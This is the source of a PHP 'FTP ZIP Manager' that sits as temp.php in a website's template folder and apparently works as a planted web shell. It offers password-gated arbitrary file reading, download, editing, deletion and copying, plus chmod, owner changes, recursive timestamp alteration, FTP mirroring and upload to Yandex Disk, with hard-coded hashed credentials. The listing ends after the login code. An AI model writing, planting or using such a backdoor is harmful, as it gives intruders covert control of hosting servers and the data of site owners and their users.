| Current Path : /home/antonen/chenglong.lt/templates/resto_6/ |
| Current File : /home/antonen/chenglong.lt/templates/resto_6/temp.php |
<?php
ini_set('display_errors','Off');
session_start();
if(isset($_POST['action'])) $action = $_POST['action'];
else $action = "";
if (file_exists('ppswd.php')) include 'ppswd.php';
//savepass
$reg_user = 'c028855265b688daa65a98e28682f428'; $reg_pass = '6c8345835daa9320bcc55b76ba5d83de';
$savedpass = "Remove Password";
//savepass
if(isset($_SESSION['a18'])) $GLOBALS['a10'] = $_SESSION['a18'] ^ str_pad('', strlen($_SESSION['a18']), $reg_user);
if($action == "chpass"):
if(isset($savedpass)) $savedpass = "Save Password";
else $savedpass = "Remove Password";
endif;
if(!isset($savedpass)) $savedpass = "Save Password";
if(!isset($_SESSION['a1'])):
$_SESSION['a2'] = "";
$_SESSION['a1'] = "";
$_SESSION['a3'] = "";
endif;
if(!isset($_SESSION['charset'])):
$_SESSION['charset'] = "utf-8";
endif;
if(!isset($_SESSION['chlist'])):
$_SESSION['chlist'] = ".chmod";
endif;
// AJAX
if(isset($_POST['progress']) || isset($_GET['progress'])):
if ($_SESSION['cs0'] == $_SESSION['a5']."=".$_SESSION['a6']):
if(isset($_GET['progress']) && $_GET['progress'] == "dwl"):
$file = urldecode($_GET['dir']).'/'.urldecode($_GET['file']);
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.$_GET['name']);
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: '.filesize($file));
readfile($file);
exit;
endif;
if(isset($_POST['dc'])):
$ds = array('path'=>urldecode($_POST['dc']),'s'=>0,'d'=>0,'f'=>0);
$dsa = getDirSize($ds);
die(convertsize($dsa['s']).'&'.$dsa['d'].'&'.$dsa['f']);
endif;
if(isset($_POST['chlist'])):
$_SESSION['chlist'] = $_POST['chlist'];
die();
endif;
if(isset($_POST['fclip'])):
$_SESSION['a7']['file'] = urldecode($_POST['fclip']);
$_SESSION['a7']['name'] = $_POST['progress'];
die('1');
endif;
if(isset($_POST['charset'])):
$_SESSION['charset'] = $_POST['charset'];
endif;
if(isset($_POST['testupload'])):
$a4cr = urldecode($_POST['progress']).'/'.mb_convert_encoding($_POST['testupload'],$_SESSION['charset'],"UTF-8");
$_SESSION['a4'] = $a4cr ^ str_pad('', strlen($a4cr), $reg_user);
if (file_exists($a4cr)) die('1');
else die('0');
endif;
if(isset($_POST['getedit'])):
$uncedit = file_get_contents($_POST['getedit']);
die(convname($uncedit));
endif;
if($_POST['progress'] == 'yachange'):
$_SESSION['a2'] = $_POST['yafolder'];
$_SESSION['a1'] = $_POST['yalogin'] ^ str_pad( '', strlen($_POST['yalogin']), $reg_user);
$_SESSION['a3'] = $_POST['yapass'] ^ str_pad( '', strlen($_POST['yapass']), $reg_user);
die('1');
endif;
// START
if($_POST['progress'] == 'start'):
$_POST['remotep'] = urldecode($_POST['remotep']);
if(@!$connect = ftp_connect($_SESSION['a8'])) {
ftp_close($connect);
echo 'ERROR! Connection Failed on START!';
exit;
}
if (!ftp_login($connect,$_SESSION['a9'],$GLOBALS['a10'])) {
ftp_close($connect);
echo 'ERROR! FTP login failed while folders Search process.';
exit;
}
ftp_pasv($connect, true);
$GLOBALS['trc'] = $_POST['trc'];
if($GLOBALS['trc'] == 0 && isset($_SESSION['foldrers'])):
unset($_SESSION['foldrers']);
endif;
if($GLOBALS['trc'] == 0 && isset($_SESSION['tree_array'])):
unset($_SESSION['tree_array']);
endif;
if(!isset($_SESSION['foldrers'])):
$_SESSION['foldrers'] = array();
$_SESSION['tree_array'] = array();
endif;
$GLOBALS['foc'] = -1;
$ftp_fold = $_POST['remotep'];
$startfc = microtime(true);
if(folder_tree($connect, $ftp_fold, $startfc) == true) {
ftp_close($connect);
echo $GLOBALS['trc'];
unset($_SESSION['foldrers']);
exit;
} else {
ftp_close($connect);
unset($_SESSION['tree_array']);
unset($_SESSION['foldrers']);
echo 'ERROR! Disconnected while folders Search process. Connection Failed!';
exit;
}
endif;
// END START
// GET Files
if($_POST['progress'] == 'files'):
$_POST['localp'] = urldecode($_POST['localp']);
if(!isset($_SESSION['disconnect'])):
$_SESSION['disconnect'] = 0;
endif;
$starttc = microtime(true);
$fti = $_POST['point'];
if(@!$connect = ftp_connect($_SESSION['a8'])) {
if($_SESSION['disconnect'] > 10) {
unset($_SESSION['tree_array']);
ftp_close($connect);
echo 'Connection Failed! On start get files.';
exit;
} else {
reset_connect($fti);
}
}
if (!ftp_login($connect,$_SESSION['a9'],$GLOBALS['a10'])) {
if($_SESSION['disconnect'] > 10) {
unset($_SESSION['tree_array']);
ftp_close($connect);
echo 'FTP login Failed! On start get files.';
exit;
} else {
reset_connect($fti);
}
}
ftp_pasv($connect, true);
$old_direction = getcwd();
$ftlen = count($_SESSION['tree_array']);
$prmax = 10+100*$fti/$ftlen;
for($fti; $fti < $ftlen; $fti++){
$middle = explode($_POST['remotep'],$_SESSION['tree_array'][$fti]['path']);
$middle = explode('/',$middle[1]);
if($_SESSION['tree_array'][$fti]['type'] == 'file') {
$filename = array_pop($middle);
$middle = implode('/',$middle);
if ( !(chdir($_POST['localp'].$middle)) ) {
unset($_SESSION['tree_array']);
chdir($old_direction);
ftp_close($connect);
echo 'Wrong path to file! Progress Failed!';
exit;
}
if (!file_exists($filename)) {
if ( @!ftp_chdir($connect, $_POST['remotep'].$middle) ) {
if($_SESSION['disconnect'] > 10) {
unset($_SESSION['tree_array']);
chdir($old_direction);
ftp_close($connect);
echo 'Connection Failed while change FTP Dir!';
exit;
} else {
chdir($old_direction);
reset_connect($fti);
}
}
if ( @!ftp_get( $connect, $filename, $filename, FTP_BINARY )) {
if($_SESSION['disconnect'] > 10) {
unset($_SESSION['tree_array']);
chdir($old_direction);
ftp_close($connect);
echo 'Connection Failed while getting file '.convname($filename).' in path '.convname($_POST['remotep'].$middle).' !';
exit;
} else {
chdir($old_direction);
reset_connect($fti);
}
}
}
} else {
chdir($old_direction);
unset($middle[0]);
$implpath = array();
foreach($middle as $impl => $implval) {
$implpath[] = $implval;
$makedir = $_POST['localp'].'/'.implode('/',$implpath);
if(!is_dir($makedir)) mkdir($makedir, 0700);
}
}
if($prmax < 100*$fti/$ftlen && $fti < $ftlen):
$fti++;
unset($_SESSION['disconnect']);
ftp_close($connect);
echo $fti;
exit;
endif;
$timetc = microtime(true) - $starttc;
if($timetc > 20):
$fti++;
unset($_SESSION['disconnect']);
ftp_close($connect);
echo $fti;
exit;
endif;
}
unset($_SESSION['tree_array']);
unset($_SESSION['disconnect']);
chdir($old_direction);
ftp_close($connect);
echo 'done';
exit;
endif;
// FND GET Files
endif;
endif;
// End AJAX
?>
<!DOCTYPE html>
<html>
<head>
<title>FTP ZIP Manager</title>
<meta charset="utf-8">
<link href="https://fonts.googleapis.com/css?family=Fira+Sans:400,700" rel="stylesheet">
<style type="text/css">@keyframes spin{100%{transform:rotate(360deg)}}.spinner{width:30px;height:30px;border:6px solid #7e7;border-left-color:#aaa;border-right-color:#aae;border-top-color:#eaa;border-radius:100%;animation:spin 1000ms infinite linear;margin:auto}body{font-family:'Fira sans',Tahoma,Sans-serif;background-color:#0cb}.nocolor{color:#0cb}.copy-w{color:#fff;font-size:24px;position:relative;top:5px}.too_chmod{text-align:right;width:50%;margin:auto}.too_chmod > div input{margin-top:0}#chmod_hide{display:none}.inpsmall,.inptouch{max-width:34px;font-size:14px;margin:10px 0}.inptouch{max-width:138px}.cdiv{text-align:center}#modres a{color:#999;padding:1px 8px;display:inline-block;text-decoration:none;font-weight:700;border:1px solid #fff}#modres .attent{color:#c33}#modres a:hover{color:#e00;background:#ccc;border:1px solid #a00}.modfile{color:#08d;font-size:24px;padding:10px 0}.filelist form input{margin:15px 2px 0}#yaform > input{margin-bottom:8px;margin-bottom:8px}#yaform > input:first-child{margin-top:8px}#modres{text-align:center;font-family:Arial,Sans-serif}#modres > p:first-child{font-weight:700;margin:0}.modal-blocks{display:none}#modal_form #modal_close:before{content:"\2716"}#modal_form{min-width:200px;border-radius:5px;border:3px #c08 solid;background:#fff;position:absolute;top:10%;left:50%;display:none;opacity:0;-moz-opacity:0;filter:alpha(opacity=0);z-index:5;padding:20px 10px}#modal_form #modal_close{width:20px;height:10px;position:absolute;top:10px;right:10px;cursor:pointer;display:block}#overlay,#above{z-index:3;position:fixed;background-color:#000;opacity:.6;-moz-opacity:.6;filter:alpha(opacity=60);width:100%;height:100%;top:0;left:0;cursor:pointer;display:none}#above{z-index:4;cursor:default}.clear{clear:both}a,a:link,a:visited,a:focus{text-decoration:none;color:#05d}a:hover{text-decoration:underline;color:#c33}input{border:2px solid #ccc;padding:3px 6px;max-width:80%}.delete-link,.delete-link:focus,.white-get,.white-get:focus,.white-folder,.white-folder:focus,.white_sp{color:#fff!important;font-weight:700;white-space:nowrap}.white_sp{white-space:nowrap}.delete-link:hover{color:#000!important}.white-get:hover,.white-folder:hover{color:#c33!important}.big-zip{background:#7cffcc;border:1px solid #069;padding:0 10px 10px;color:#000}.big-zip tr:hover{background:#558 none repeat scroll 0 0;color:#fff;cursor:default}.big-zip td{border-bottom:1px solid #fff;font-family:Verdana,Sans-serif;font-size:16px;font-weight:700;padding:4px 6px}.butsend,.create{color:#000;font-size:1.5em;padding:4px 8px;background-color:#00a9ff;border:2px solid #069;border-radius:4px;outline:none;cursor:pointer}.butsend:hover,.create:hover{color:#505;background-color:#7cffcc}.create{font-size:18px;padding:2px 4px}.dirlist{float:left;margin:10px 0;padding:0 15% 0 1%}.filelist{float:left;margin:10px 0;text-align:left;max-width:50vw}.font16{font-size:16px}.filedirtitle{margin:5px 10px 20px;padding:5px 20px;background-color:#7CFFCC;border:1px #069 solid;text-align:center}.bigblock{max-width:940px;padding:5px;margin:auto}.contents,.unzip{border:1px solid #fff;display:table;font-size:14px;padding:1vw;text-align:left;min-width:100%;box-sizing:border-box}.unzip{box-shadow:0 0 20px #f88;padding:20px;text-align:left;width:90%;background:#0dc;margin-bottom:20px}.heads{background-color:#0cb;border:3px dashed #49a;clear:left;color:#333;font-size:20px;margin:1vw;padding:1vw;text-align:center}.logout{font-size:16px}.create-input{font-size:14px;font-weight:700;padding:2px 8px;max-width:170px}.moovf{color:#047;font-size:1.5em;margin-left:1em}input:focus{background-color:#ffa;border:2px solid #c0c;outline:none}.mfinput{color:#678;font-size:20px}.redsp,.modopen{color:#c33;font-weight:700;padding:0 2px;white-space:nowrap}.pdd-all{padding:1%}#resscr{display:none}.progress{border:2px solid #ff0;float:left;width:55%;background:#bbb}.pr-inside{background:#64e;height:23px;width:0}.tablo{text-align:center;font-size:20px;color:#fff}.mfbig{min-width:70%}.mfmidd{min-width:38%}.logform{font-size:14px;min-width:200px}.urls{font-size:20px;padding:10px 5px 10px 64px;text-align:center;position:relative}.filelist form input[type="file"]{border:none;font-weight:700;max-width:178px;z-index:2;opacity:0;cursor:pointer;margin-bottom:2px}.filelist form > div{position:relative}.filename{position:absolute;top:35%;left:2px;font-size:20px;text-align:center;width:178px;overflow:hidden;padding:0 4px;background:#fff;border:2px solid #ccc}.chmod,.mtime,.fmtime,.gowner,.fgowner,.gs{color:#c33!important;font-size:15px;letter-spacing:1px;font-weight:400}.mtime,.fmtime,.gowner,.fgowner,.gs{letter-spacing:normal}.chmod:hover,.mtime:hover,.fmtime:hover,.gowner:hover,.fgowner:hover,.gs:hover{color:#fed!important;text-decoration:none}.black_sp{font-size:16px;color:#000}.edit_file{margin-bottom:10px}.edit_file textarea{width:80vw;height:55vh;resize:none;border:2px solid #c99;padding:4px 8px;background:#448;color:#fff;font-size:16px}.butsend:focus,.create:focus{color:#000;background-color:#00a9ff;border:2px solid #069}.right-form{margin-left:30px;display:inline-block;font-weight:700;font-size:16px;color:#5f5f69}.right-form form{display:inherit}.dirs-eq,.files-eq{display:inline-flex;border-bottom:1px dashed #fff;padding:2px 1px 1px}.dirs-eq a,.files-eq a,.white_sp{white-space:nowrap}.fclip{border:3px #e00 solid;border-radius:5px;padding:0 8px;display:table;background:#ffd;position:fixed;bottom:4px;left:60%;font-size:14px}.pfclip{display:inline-block;margin-left:50px}.fclip input,.pfclip input{font-size:16px;margin:8px 0}.addsel{display:none}.chmod{display:inline-flex}#chopt{margin:0 50px 10px 40px}.grey_sp{font-weight:700;font-size:16px;color:#5f5f69}.fgs,.ctime{color:#068;padding-left:2px;white-space:nowrap}.home-a div{position:relative;height:16px;width:8px;border:14px solid #e39;border-bottom:none}.home-a div:before{content:"";position:absolute;top:-30px;right:-26px;border-style:solid;border-width:0 30px 20px;border-color:rgba(0,0,0,0) rgba(0,0,0,0) #e39}.home-a div:after{content:"";position:absolute;top:-30px;left:13px;height:10px;border:4px solid #e39}.home-a{text-decoration:none!important;position:absolute;left:20px;top:25px}.out{font-size:18px;color:#487;line-height:28px}</style>
<?php $docname = basename(getenv('script_name')); ?>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
<script type="text/javascript">$(document).ready(function(){eqwidth('.dirs-eq');eqwidth('.files-eq');eqwidth('.chmod');$('.chmod').attr('width.chmod',$('.chmod').width());var sesslist='<?php echo $_SESSION['chlist'] ?>';if(sesslist!=".chmod"){$('#chopt').val(sesslist);showsel(sesslist)}window.ermsg='error: Test your Internet connection. Connection failed.';if(typeof(reload_get)=="function"){reload_get()}$('#chopt').on('change',function(){showsel($(this).val());$.ajax({type:"POST",url:"<?php echo $docname; ?>",data:"progress=chlist&chlist="+$(this).val(),success:function(result){},error:function(jqxhr,status,errorMsg){if(errorMsg=='')alert(window.ermsg);else alert(status+': '+errorMsg)}})});$('.getjs').on('click',function(event){event.preventDefault();submitGet($(this).attr('data'))});$('.modopen').click(function(event){event.preventDefault();$('#overlay').fadeIn(400,function(){$('#modal_form').css('display','block').animate({opacity:1,top:whqget()},200)});if($(this).attr('file')){$('#modres').html('');$('#modres').append('<p>Options:</p>');$('#modres').append('<div class="modfile">'+$(this).attr('origname')+'</div>');var data="'dir="+$(this).attr('dir')+"#.d/s.#file="+$(this).attr('file')+"#.d/s.#origname="+$(this).attr('origname')+"#.d/s.#action=disk'";$('#modres').append('<a href="javascript:void(0);" onClick="submitGet('+data+');">[ Save to Yandex disk ]</a><br />');var remove="'dir="+$(this).attr('dir')+"#.d/s.#filetodel="+$(this).attr('file')+"#.d/s.#origname="+$(this).attr('origname')+"#.d/s.#action=deletef','"+$(this).attr('origname')+"'";$('#modres').append('<a class="attent" href="javascript:void(0);" onClick="submitGetAlert('+remove+');">[ REMOVE ]</a><br />');$('#modres').append('<a target="_blank" href="<?php echo $_SERVER["PHP_SELF"]; ?>?dir='+$(this).attr('dir')+'&file='+$(this).attr('file')+'&name='+$(this).attr('origname')+'&progress=dwl" onClick="submitDwl();">[ Download ]</a><br />');var edit="'"+$(this).attr('dir')+"/"+$(this).attr('file')+"','"+$(this).attr('origname')+"','"+$(this).attr('dir')+"'";$('#modres').append('<a href="javascript:void(0);" onClick="renameFile('+edit+');">[ RENAME ]</a><br />');
<?php
if(isset($_POST['fpaste']) || isset($_POST['mfpaste'])):
$upd = urldecode($_POST['dir']); $new_cfile = $upd.'/'.mb_convert_encoding($_POST['cname'],$_SESSION['charset'],"UTF-8"); if(file_exists($new_cfile) || is_dir($new_cfile) || $upd == $_SESSION['a7']['file']) $taskdelete = '<span class="redsp">Copy failed!</span> Copied: <span class="white_sp">'.$_POST['cname'].'</span> already exists here, with the same name.'; else { if(isset($_POST['fpaste'])):
if(afull_copy($_SESSION['a7']['file'],$new_cfile)) $taskdelete = 'Copied <span class="white_sp">'.$_POST['cname'].'.</span>'; else $taskdelete = '<span class="redsp">Copy failed!</span> <span class="white_sp">'.$_POST['cname'].'</span> Perhaps copied has been removed.'; unset($_SESSION['a7']); endif; if(isset($_POST['mfpaste'])):
if(rename($_SESSION['a7']['file'],$new_cfile)) $taskdelete = 'Copied <span class="white_sp">'.$_POST['cname'].'</span> moved.'; else $taskdelete = '<span class="redsp">Moov failed!</span> <span class="white_sp">'.$_POST['cname'].'</span> Perhaps copied has been removed.'; unset($_SESSION['a7']); endif;}
endif; if(isset($_SESSION['a7']) && !file_exists($_SESSION['a7']['file'])) unset($_SESSION['a7']); if(!isset($_SESSION['a7'])): ?>
if(!window.fclip) { $('#modres').append('<a href="javascript:void(0);" onClick="copyFile('+edit+');">[ COPY ]</a><br />');}
<?php endif; ?>
$('#modres').append('<a href="javascript:void(0);" onClick="editFile('+edit+');">[ EDIT ]</a>');} else { if($(this).attr('id')) { var block = "#"+$(this).attr('id')+"-block"; $('#modres').html($(block).html());} else { if($(this).attr('chmod')) { $('#modres').html(''); $('#modres').append('<p>Chmod settings:</p>'); if($(this).attr('name')) { $('#modres').append('<div class="modfile">'+$(this).attr('name')+'</div><form action="<?php echo $docname ?>" method="POST"><input type="text" class="inpsmall" name="perms" value="'+$(this).attr('perms')+'" /><input type="hidden" name="dir" value="'+$(this).attr('dir')+'" /><input type="hidden" name="chmod" value="'+$(this).attr('chmod')+'" /><br /><input class="create" value="Change" type="submit" /></form>');}
if($(this).attr('dirname')) { $('#modres').append('<div class="modfile">'+$(this).attr('origdir')+'</div><form action="<?php echo $docname ?>" method="POST"><input type="checkbox" onChange="addChmod(this);" /> <span class="redsp">All Dirs and Files</span><br /><div class="too_chmod">Dir: <input type="text" class="inpsmall" name="perms" value="'+$(this).attr('perms')+'" /><div id="chmod_hide"></div></div><input type="hidden" name="dir" value="'+$(this).attr('chmod')+'" /><input type="hidden" name="chmod" value="'+$(this).attr('chmod')+'/'+$(this).attr('dirname')+'" /><input class="create" value="Change" type="submit" /></form>');}
}
if($(this).attr('touch')) { $('#modres').html(''); $('#modres').append('<p>Touch:</p>'); if($(this).attr('name')) { $('#modres').append('<div class="modfile">'+$(this).attr('name')+'</div><form action="<?php echo $docname ?>" method="POST"><input type="text" class="inptouch" name="time" value="'+$(this).attr('mtime')+'" /><input type="hidden" name="dir" value="'+$(this).attr('dir')+'" /><input type="hidden" name="touch" value="'+$(this).attr('touch')+'" /><br /><input class="create" value="Change" type="submit" /></form>');}
if($(this).attr('dirname')) { $('#modres').append('<div class="modfile">'+$(this).attr('origdir')+'</div><form action="<?php echo $docname ?>" method="POST"><input type="checkbox" name="alltouch" /> <span class="redsp">All Dirs and Files</span><br /><input type="text" class="inptouch" name="time" value="'+$(this).attr('mtime')+'" /><input type="hidden" name="dir" value="'+$(this).attr('touch')+'" /><input type="hidden" name="touch" value="'+$(this).attr('touch')+'/'+$(this).attr('dirname')+'" ><br /><input class="create" value="Change" type="submit" /></form>');}
}
if($(this).attr('gowner')) { $('#modres').html(''); $('#modres').append('<p>Owner/Group:</p>'); if($(this).attr('name')) { $('#modres').append('<div class="modfile">'+$(this).attr('name')+'</div><p>'+$(this).attr('group')+'</p><form action="<?php echo $docname ?>" method="POST"><input type="text" class="inptouch" name="group" value="'+$(this).attr('owner')+'" /><input type="hidden" name="dir" value="'+$(this).attr('dir')+'" /><input type="hidden" name="gowner" value="'+$(this).attr('gowner')+'" /><br /><input class="create" value="Change" type="submit" /></form>');}
if($(this).attr('dirname')) { $('#modres').append('<div class="modfile">'+$(this).attr('origdir')+'</div><p>'+$(this).attr('group')+'</p><form action="<?php echo $docname ?>" method="POST"><input type="text" class="inptouch" name="group" value="'+$(this).attr('owner')+'" /><input type="hidden" name="dir" value="'+$(this).attr('gowner')+'" /><input type="hidden" name="gowner" value="'+$(this).attr('gowner')+'/'+$(this).attr('dirname')+'" ><br /><input class="create" value="Change" type="submit" /></form>');}
}
if($(this).attr('gs')) { $('#modres').html(''); $('#modres').append('<p>Dir size:</p>'); $('#modres').append('<div class="modfile">'+$(this).attr('gs')+'</div>'); $('#modres').append('<div class="spinner"></div>'); $.ajax({ type:"POST", url:"<?php echo $docname; ?>", data:"progress=gs&dc="+$(this).attr('dir'), success:function(result){ $('.spinner').remove(); var answer = result.split('&'); $('#modres').append('<p class="out">Total size: <span class="redsp">'+answer[0]+'</span><br />Files: <span class="redsp">'+answer[2]+'</span><br />Dirs: <span class="redsp">'+answer[1]+'</span></p>');}, error: function(jqxhr, status, errorMsg) { if(errorMsg == '') alert(window.ermsg); else alert(status + ': ' + errorMsg);}
});}
}
}
MFwidth();}); $('#modal_close, #overlay').click( function(){ $('#above').fadeOut(400); $('#modal_form')
.animate({opacity: 0, top: whqget()}, 200, function(){ $(this).css('display', 'none'); $('#overlay').fadeOut(400);} );}); $('.delete-link').on('click',function(event){ event.preventDefault(); var elementClick = $(this).attr('title'); if(confirm('Are you shure? '+elementClick) != false) submitGet($(this).attr('data'));}); $('#form-copy').on('click',function(event){ if($('#src').val() == ""){ event.preventDefault(); alert('File source is not entered, please fill in this field!');}
}); $('#form-ftp').on('click',function(event){ if($('#ftp-host').val() == "" || $('#ftp-user').val() == "" || $('#ftp-pass').val() == ""){ event.preventDefault(); alert('All fields are required, please fill them!');}
}); $('.white-folder').on('click',function(event){ event.preventDefault(); window.localp = $(this).attr('localp'); window.remotep = $(this).attr('remotep'); window.reload = $(this).attr('reload'); $('#resscr').fadeIn(); start_get_folders(0);});}); function start_get_folders(trc) { $.ajax({ type: "POST", url:"<?php echo $docname; ?>", data:"localp="+window.localp+"&remotep="+window.remotep+"&progress=start&trc="+trc, success:function(result){ if($.isNumeric(result) == true){ window.allarr = result; start_get_files(0);} else { var foldcount = result.split('all')[1]; if($.isNumeric(foldcount) == true) { $('.tablo').html('Found files quantity: '+foldcount); start_get_folders(foldcount);} else { $('#resscr').fadeOut(); alert(result);}
}
}, error: function(jqxhr, status, errorMsg) { $('.tablo').html('Progress Failed'); if(errorMsg == '') alert(window.ermsg); else alert(status + ': ' + errorMsg);}
});}
function start_get_files(point) { $.ajax({ type: "POST", url:"<?php echo $docname; ?>", data:"localp="+window.localp+"&point="+point+"&remotep="+window.remotep+"&progress=files", success:function(result){ if(result == 'done'){ $('.pr-inside').css('width',100+'%'); $('.tablo').html('Progress: '+100+'%'); sleep(1500); submitGet('dir='+window.localp);} else { if($.isNumeric(result) == true) { $('.pr-inside').css('width', Math.round(100*result/window.allarr)+'%'); $('.tablo').html('Progress: '+Math.round(100*result/window.allarr)+'%'); start_get_files(result);} else { alert(result); $('.tablo').html('Progress Failed');}
}
}, error: function(jqxhr, status, errorMsg) { $('.tablo').html('Progress Failed'); if(errorMsg == '') alert(window.ermsg); else alert(status + ': ' + errorMsg);}
});}
function yachange(){ $('#yaform').css('visibility','hidden'); $('#yaform').append('<div class="spinner"></div>'); $.ajax({ type: "POST", url:"<?php echo $docname; ?>", data:$('#yaform').serialize(), success:function(result){ $('.spinner').remove(); $('#ym-saved').html('<span class="redsp">Settings saved!</span>')
$('#yaform').css('visibility','visible');}, error: function(jqxhr, status, errorMsg) { $('.tablo').html('Progress Failed'); if(errorMsg == '') alert(window.ermsg); else alert(status + ': ' + errorMsg);}
}); return false;}
function setFile(str){if(str.lastIndexOf('\\')){var i=str.lastIndexOf('\\')+1}else{var i=str.lastIndexOf('/')+1}var filename=str.slice(i);$('.filename').html(filename);$('.filename').css({'background-color':'#ffffaa','border':'2px solid #c0c'})}function submitGet(data){var getarr=data.split('#.d/s.#');for(var i=0,k=getarr.length;i<k;i++){var pair=getarr[i].split('=');$('#gp-div').append('<input type="hidden" name="'+pair[0]+'" value="'+pair[1]+'" />')}$('#gp-form').submit()}function submitGetAlert(data,file){if(confirm('Are you shure? Remove '+file)!=false)submitGet(data)}function sleep(ms){ms+=new Date().getTime();while(new Date()<ms){}}function addChmod(value){if(value.checked){$('#chmod_hide').append('File: <input type="text" class="inpsmall" name="fperms" value="0644" />');$('#chmod_hide').css('display','block')}else{$('#chmod_hide').html('');$('#chmod_hide').css('display','none')}}function test_upload(type){var params={'upload':'input[type="file"]','testedit':'#edname','testrename':'#rnname'};var file=$(params[type]);var fileval=file.val();if($('#rnbefore').html()==fileval)return true;if(fileval==''){alert('Filename is EMPETY!!!');return false}var testupload='progress='+file.next().val()+'&testupload='+fileval;$.ajax({type:"POST",async:false,url:"<?php echo $docname; ?>",data:testupload,success:function(result){if(result==1){if(confirm(' This - '+fileval+' - already exists!!!\nDo You want to replace it?')!=false)window.upload=true}else window.upload=true},error:function(jqxhr,status,errorMsg){if(errorMsg=='')alert(window.ermsg);else alert(status+': '+errorMsg)}});if(window.upload)return true;else return false}function MFwidth(){$('#modal_form').css('margin-left','-'+Math.round(12+$('#modal_form').width()/2)+'px')}function editFile(file,name,dir){$('#modres').html('');$('#above').fadeIn(400);var testedit="'testedit'";$('#modres').append('<p class="modfile"><span class="black_sp">Edit file: </span><span id="rnbefore">'+name+'</span></p><form method="POST" action="<?php echo $docname; ?>" onsubmit="return test_upload('+testedit+');"><div class="edit_file"><textarea spellcheck="false" name="editt"></textarea></div><input type="hidden" name="editc" value="'+file+'" /><input type="hidden" name="editres" value="'+name+'" /><input id="edname" type="text" name="editf" value="'+name+'" /><input type="hidden" name="dir" value="'+dir+'" /> <input class="create" type="submit" value="Save" /></form>');MFwidth();$('#modal_form').css('top',whqget());$('.edit_file').append('<div class="spinner"></div>');$.ajax({type:"POST",url:"<?php echo $docname; ?>",data:"progress=getedit&getedit="+file,success:function(result){$('.spinner').remove();$('.edit_file textarea').val(result)},error:function(jqxhr,status,errorMsg){if(errorMsg=='')alert(window.ermsg);else alert(status+': '+errorMsg)}})}function renameFile(file,name,dir){$('#prename').remove();$('#modres').html('');var testrename="'testrename'";$('#modres').append('<p class="modfile"><span class="black_sp">Rename file: </span><span id="rnbefore">'+name+'</span></p><form method="POST" action="<?php echo $docname; ?>" onsubmit="return test_upload('+testrename+');"><input type="hidden" name="editc" value="'+file+'" /><input id="rnname" type="text" name="editf" value="'+name+'" /><input type="hidden" name="dir" value="'+dir+'" /><br /><br /><input class="create" type="submit" name="rename" value="Rename" /></form>');MFwidth();$('#modal_form').css('top',whqget())}function copyFile(file,name,dir){$('#modal_form').fadeOut();$('#overlay').fadeOut(400);window.fclip=1;$.ajax({type:"POST",url:"<?php echo $docname; ?>",data:"progress="+name+"&fclip="+file,success:function(result){$('body').append('<div class="fclip"><form method="POST" action="<?php echo $docname; ?>">Copied: <span class="redsp">'+name+'</span><input type="hidden" name="cname" value="'+name+'" /><input type="hidden" name="dir" value="'+dir+'" /> <input class="create" type="submit" name="fpaste" value="Paste" /> <input class="create" type="submit" name="mfpaste" value="Moov" /></form></div>')},error:function(jqxhr,status,errorMsg){if(errorMsg=='')alert(window.ermsg);else alert(status+': '+errorMsg)}})}function eqwidth(elem){var widths=[];$(elem).each(function(){widths.push($(this).width())});$(elem).width(Math.max.apply(null,widths))}function showsel(elem){var styles=elem.split('/');$('.addsel').css('display','none');var i,len;for(i=0,len=styles.length;i<len;++i){$(styles[i]).css('display','inline-block');var width=Math.round($(styles[i]).width()+8)+'px';var swide='width'+styles[i];if(!$(styles[i]).attr(swide)){eqwidth(styles[i]);$(styles[i]).attr(swide,width)}else $(styles[i]).width($(styles[i]).attr(swide))}}function submitDwl(){$('#modal_form').fadeOut();$('#overlay').fadeOut(400)}function whqget(){var whq=0;var wst=$(window).scrollTop()-$(window).height();while(wst>0){wst=wst-$(window).height();whq++}return Math.round(100*whq*$(window).height()/$(window).height()+10+100*Math.round($(window).scrollTop()-whq*$(window).height())/$(window).height())+'%'}</script>
</head>
<body>
<div class="heads">
<div>FTP ZIP Manager
<?php
if(isset($_POST['adm_user'])) $adm_user = $_POST['adm_user'];
else $adm_user = "";
if(isset($_POST['adm_pass'])) $adm_pass = $_POST['adm_pass'];
else $adm_pass = "";
if(isset($_POST['adm_pass_conf'])) $adm_pass_conf = $_POST['adm_pass_conf'];
else $adm_pass_conf = "";
if (!isset($reg_user) && !isset($reg_pass)) {
//REGISTRATION
echo "</div>";
if (isset($_POST['reg'])) {
if ($adm_user == '' || $adm_pass == '' || $adm_pass_conf == '') {$err = '<span class="redsp">At least one of the fields is empty!</span><br />';}
if ($adm_pass != $adm_pass_conf) {$err .= '<span class="redsp">Passwords do not match!</span>';}
if (!isset($err)) {
$fn = fopen('ppswd.php','w');
fputs($fn, '<?php $reg_user = '."'".md5($adm_user)."'".'; $reg_pass = '."'".md5($adm_pass)."'"."; ?>\n");
fclose($fn);
die ("Registration succeeded!<br /><a href='$docname'>You can login now.</a>");
}
}
if (!isset($_POST['reg']) || isset($err)) {
echo "</div>";
if (isset($err)) echo 'Error: '.$err.'<br />';
?>
Please, register first (for your own security!)
<form method="POST" action="<?php echo $docname; ?>">
<table border="0">
<tr>
<td>Username</td>
<td><input class="logform" type="text" name="adm_user" /></td>
</tr>
<tr>
<td>Password : </td>
<td><input class="logform" type="password" name="adm_pass" /></td>
</tr>
<tr>
<td>Confirm password : </td>
<td><input class="logform" type="password" name="adm_pass_conf" /></td>
</tr>
</table>
<input class="create" type="submit" value="Register" name="reg" />
</form></body></html>
<?php
die('');
}
}
$expired = false;
if(!isset($_SESSION['cs0'])) $expired = true;
elseif ($_SESSION['cs0'] != $_SESSION['a5']."=".$_SESSION['a6']) $expired = true;
if ($action == "logout"){
$_SESSION['cs0'] = rand(100,9000000);
$_SESSION['a12'] = rand(100,9000000);
$_SESSION['a11'] = "Logged out";
$_SESSION['a6'] = rand(100,9000000);
$expired = true;
}
if (isset($_POST['login'])) {
$adm_user = md5($adm_user);
$adm_pass = md5($adm_pass);
if ($reg_user != $adm_user || $reg_pass != $adm_pass) {
echo "Login error: incorrect username or password!<br />";
$expired = true;
} else {
$time_started = md5(time());
$secure_session_user = md5($adm_user.$adm_pass);
$_SESSION['a5'] = $adm_user;
$_SESSION['a6'] = $time_started.$secure_session_user.session_id();
$_SESSION['cs0'] = $adm_user."=".$_SESSION['a6'];
$expired = false;
}
}
